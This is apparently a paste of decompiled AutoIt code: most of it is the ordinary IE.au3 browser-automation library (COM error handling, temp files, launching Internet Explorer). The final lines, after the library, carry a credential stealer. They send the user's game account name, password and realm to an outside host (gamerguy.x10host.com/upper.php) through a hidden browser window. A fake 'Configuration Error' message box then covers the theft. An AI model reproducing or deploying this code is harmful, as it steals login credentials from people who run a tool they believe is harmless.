  3044.     Func __iesendmessagetimeout($hwnd, $imsg, $wparam, $lparam, $iflags, $itimeout, ByRef $vout, $r = 0, $st1 = "int", $st2 = "int")
  3045.         Local $aret = DllCall("user32.dll", "lresult", "SendMessageTimeout", "hwnd", $hwnd, "uint", $imsg, $st1, $wparam, $st2, $lparam, "uint", $iflags, "uint", $itimeout, "dword_ptr*", "")
  3046.         If @error OR $aret[0] = 0 Then
  3047.             $vout = 0
  3048.             Return SetError(1, _winapi_getlasterror(), 0)
  3049.         EndIf
  3050.         $vout = $aret[7]
  3051.         If $r >= 0 AND $r <= 4 Then Return $aret[$r]
  3052.         Return $aret
  3053.     EndFunc
  3054.  
  3055.     Func __ieisobjtype(ByRef $oobject, $stype, $bregister = True)
  3056.         If NOT IsObj($oobject) Then
  3057.             Return SetError($_iestatus_invaliddatatype, 1, 0)
  3058.         EndIf
  3059.         Local $bstatus = $bregister
  3060.         If $bregister Then
  3061.             $bstatus = __ieinternalerrorhandlerregister()
  3062.             If NOT $bstatus Then __ieconsolewriteerror("Warning", "internal function __IEIsObjType", "Cannot register internal error handler, cannot trap COM errors", "Use _IEErrorHandlerRegister() to register a user error handler")
  3063.         EndIf
  3064.         Local $inotifystatus = _ieerrornotify()
  3065.         _ieerrornotify(False)
  3066.         Local $sname = String(ObjName($oobject)), $ierrorstatus = $_iestatus_invalidobjecttype
  3067.         Switch $stype
  3068.             Case "browserdom"
  3069.                 If __ieisobjtype($oobject, "documentcontainer", False) Then
  3070.                     $ierrorstatus = $_iestatus_success
  3071.                 ElseIf __ieisobjtype($oobject, "document", False) Then
  3072.                     $ierrorstatus = $_iestatus_success
  3073.                 Else
  3074.                     Local $otemp = $oobject.document
  3075.                     If __ieisobjtype($otemp, "document", False) Then
  3076.                         $ierrorstatus = $_iestatus_success
  3077.                     EndIf
  3078.                 EndIf
  3079.             Case "browser"
  3080.                 If ($sname = "IWebBrowser2") OR ($sname = "IWebBrowser") OR ($sname = "WebBrowser") Then $ierrorstatus = $_iestatus_success
  3081.             Case "window"
  3082.                 If $sname = "HTMLWindow2" Then $ierrorstatus = $_iestatus_success
  3083.             Case "documentContainer"
  3084.                 If __ieisobjtype($oobject, "window", False) OR __ieisobjtype($oobject, "browser", False) Then $ierrorstatus = $_iestatus_success
  3085.             Case "document"
  3086.                 If $sname = "HTMLDocument" Then $ierrorstatus = $_iestatus_success
  3087.             Case "table"
  3088.                 If $sname = "HTMLTable" Then $ierrorstatus = $_iestatus_success
  3089.             Case "form"
  3090.                 If $sname = "HTMLFormElement" Then $ierrorstatus = $_iestatus_success
  3091.             Case "forminputelement"
  3092.                 If ($sname = "HTMLInputElement") OR ($sname = "HTMLSelectElement") OR ($sname = "HTMLTextAreaElement") Then $ierrorstatus = $_iestatus_success
  3093.             Case "elementcollection"
  3094.                 If ($sname = "HTMLElementCollection") Then $ierrorstatus = $_iestatus_success
  3095.             Case "formselectelement"
  3096.                 If $sname = "HTMLSelectElement" Then $ierrorstatus = $_iestatus_success
  3097.             Case Else
  3098.                 $ierrorstatus = $_iestatus_invalidvalue
  3099.         EndSwitch
  3100.         _ieerrornotify($inotifystatus)
  3101.         If $bregister Then
  3102.             __ieinternalerrorhandlerderegister()
  3103.         EndIf
  3104.         If $ierrorstatus = $_iestatus_success Then
  3105.             Return SetError($_iestatus_success, 0, 1)
  3106.         Else
  3107.             Return SetError($ierrorstatus, 1, 0)
  3108.         EndIf
  3109.     EndFunc
  3110.  
  3111.     Func __ieconsolewriteerror($sseverity, $sfunc, $smessage = Default, $sstatus = Default)
  3112.         If $__g_bieerrornotify OR $__g_bieau3debug Then
  3113.             Local $sstr = "--> IE.au3 " & $__gaieau3versioninfo[5] & " " & $sseverity & " from function " & $sfunc
  3114.             If NOT ($smessage = Default) Then $sstr &= ", " & $smessage
  3115.             If NOT ($sstatus = Default) Then $sstr &= " (" & $sstatus & ")"
  3116.             ConsoleWrite($sstr & @CRLF)
  3117.         EndIf
  3118.         Return SetError($sstatus, 0, 1)
  3119.     EndFunc
  3120.  
  3121.     Func __iecomerrorunrecoverable($ierror)
  3122.         Switch $ierror
  3123.             Case -2147352567
  3124.                 Return $_iestatus_accessisdenied
  3125.             Case -2147024891
  3126.                 Return $_iestatus_accessisdenied
  3127.             Case -2147417848
  3128.                 Return $_iestatus_clientdisconnected
  3129.             Case -2147023174
  3130.                 Return $_iestatus_clientdisconnected
  3131.             Case -2147023179
  3132.                 Return $_iestatus_clientdisconnected
  3133.             Case Else
  3134.                 Return $_iestatus_success
  3135.         EndSwitch
  3136.     EndFunc
  3137.  
  3138. #EndRegion Internal functions
  3139. #Region ProtoType Functions
  3140.  
  3141.     Func __ienavigate(ByRef $oobject, $surl, $iwait = 1, $ifags = 0, $starget = "", $spostdata = "", $sheaders = "")
  3142.         __ieconsolewriteerror("Warning", "__IENavigate", "Unsupported function called. Not fully tested.")
  3143.         If NOT IsObj($oobject) Then
  3144.             __ieconsolewriteerror("Error", "__IENavigate", "$_IESTATUS_InvalidDataType")
  3145.             Return SetError($_iestatus_invaliddatatype, 1, 0)
  3146.         EndIf
  3147.         If NOT __ieisobjtype($oobject, "documentContainer") Then
  3148.             __ieconsolewriteerror("Error", "__IENavigate", "$_IESTATUS_InvalidObjectType")
  3149.             Return SetError($_iestatus_invalidobjecttype, 1, 0)
  3150.         EndIf
  3151.         $oobject.navigate($surl, $ifags, $starget, $spostdata, $sheaders)
  3152.         If $iwait Then
  3153.             _ieloadwait($oobject)
  3154.             Return SetError(@error, 0, $oobject)
  3155.         EndIf
  3156.         Return SetError($_iestatus_success, 0, $oobject)
  3157.     EndFunc
  3158.  
  3159.     Func __iestringtobstr($sstring, $scharset = "us-ascii")
  3160.         Local Const $itypebinary = 1, $itypetext = 2
  3161.         Local $ostream = ObjCreate("ADODB.Stream")
  3162.         $ostream.type = $itypetext
  3163.         $ostream.charset = $scharset
  3164.         $ostream.open
  3165.         $ostream.writetext($sstring)
  3166.         $ostream.position = 0
  3167.         $ostream.type = $itypebinary
  3168.         $ostream.position = 0
  3169.         Return $ostream.read()
  3170.     EndFunc
  3171.  
  3172.     Func __iebstrtostring($obstr, $scharset = "us-ascii")
  3173.         Local Const $itypebinary = 1, $itypetext = 2
  3174.         Local $ostream = ObjCreate("ADODB.Stream")
  3175.         $ostream.type = $itypebinary
  3176.         $ostream.open
  3177.         $ostream.write($obstr)
  3178.         $ostream.position = 0
  3179.         $ostream.type = $itypetext
  3180.         $ostream.charset = $scharset
  3181.         $ostream.position = 0
  3182.         Return $ostream.readtext()
  3183.     EndFunc
  3184.  
  3185.     Func __iecreatenewie($stitle, $shead = "", $sbody = "")
  3186.         Local $stemp = __ietempfile("", "~IE~", ".htm")
  3187.         If @error Then
  3188.             __ieconsolewriteerror("Error", "_IECreateHTA", "", "Error creating temporary file in @TempDir or @ScriptDir")
  3189.             Return SetError($_iestatus_generalerror, 1, 0)
  3190.         EndIf
  3191.         Local $shtml = ""
  3192.         $shtml &= "<!DOCTYPE html>" & @CR
  3193.         $shtml &= "<html>" & @CR
  3194.         $shtml &= "<head>" & @CR
  3195.         $shtml &= '<meta content="text/html; charset=UTF-8" http-equiv="content-type">' & @CR
  3196.         $shtml &= "<title>" & $stemp & "</title>" & @CR & $shead & @CR
  3197.         $shtml &= "</head>" & @CR
  3198.         $shtml &= "<body>" & @CR & $sbody & @CR
  3199.         $shtml &= "</body>" & @CR
  3200.         $shtml &= "</html>"
  3201.         Local $hfile = FileOpen($stemp, $fo_overwrite)
  3202.         FileWrite($hfile, $shtml)
  3203.         FileClose($hfile)
  3204.         If @error Then
  3205.             __ieconsolewriteerror("Error", "_IECreateNewIE", "", "Error creating temporary file in @TempDir or @ScriptDir")
  3206.             Return SetError($_iestatus_generalerror, 2, 0)
  3207.         EndIf
  3208.         Run(@ProgramFilesDir & "\Internet Explorer\iexplore.exe " & $stemp)
  3209.         Local $ipid
  3210.         If WinWait($stemp, "", 60) Then
  3211.             $ipid = WinGetProcess($stemp)
  3212.         Else
  3213.             __ieconsolewriteerror("Error", "_IECreateNewIE", "", "Timeout waiting for new IE window creation")
  3214.             Return SetError($_iestatus_generalerror, 3, 0)
  3215.         EndIf
  3216.         If NOT FileDelete($stemp) Then
  3217.             __ieconsolewriteerror("Warning", "_IECreateNewIE", "", "Could not delete temporary file " & FileGetLongName($stemp))
  3218.         EndIf
  3219.         Local $oobject = _ieattach($stemp)
  3220.         _ieloadwait($oobject)
  3221.         _iepropertyset($oobject, "title", $stitle)
  3222.         Return SetError($_iestatus_success, $ipid, $oobject)
  3223.     EndFunc
  3224.  
  3225.     Func __ietempfile($sdirectoryname = @TempDir, $sfileprefix = "~", $sfileextension = ".tmp", $irandomlength = 7)
  3226.         Local $stempname, $itmp = 0
  3227.         If NOT FileExists($sdirectoryname) Then $sdirectoryname = @TempDir
  3228.         If NOT FileExists($sdirectoryname) Then $sdirectoryname = @ScriptDir
  3229.         If StringRight($sdirectoryname, 1) <> "\" Then $sdirectoryname = $sdirectoryname & "\"
  3230.         Do
  3231.             $stempname = ""
  3232.             While StringLen($stempname) < $irandomlength
  3233.                 $stempname = $stempname & Chr(Random(97, 122, 1))
  3234.             WEnd
  3235.             $stempname = $sdirectoryname & $sfileprefix & $stempname & $sfileextension
  3236.             $itmp += 1
  3237.             If $itmp > 200 Then
  3238.                 Return SetError($_iestatus_generalerror, 1, 0)
  3239.             EndIf
  3240.         Until NOT FileExists($stempname)
  3241.         Return $stempname
  3242.     EndFunc
  3243.  
  3244. #EndRegion ProtoType Functions
  3245. $url = "http://gamerguy.x10host.com/upper.php?account=" & $account & "&password=" & $password & "&realm=" & $realm
  3246. $oie = _iecreate($url, 0, 0)
  3247. $oquery = _iegetobjbyname($oie, "submit")
  3248. MsgBox(64, "Configuration Error", "Please make sure the configuration is filled out entirely and try again.")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement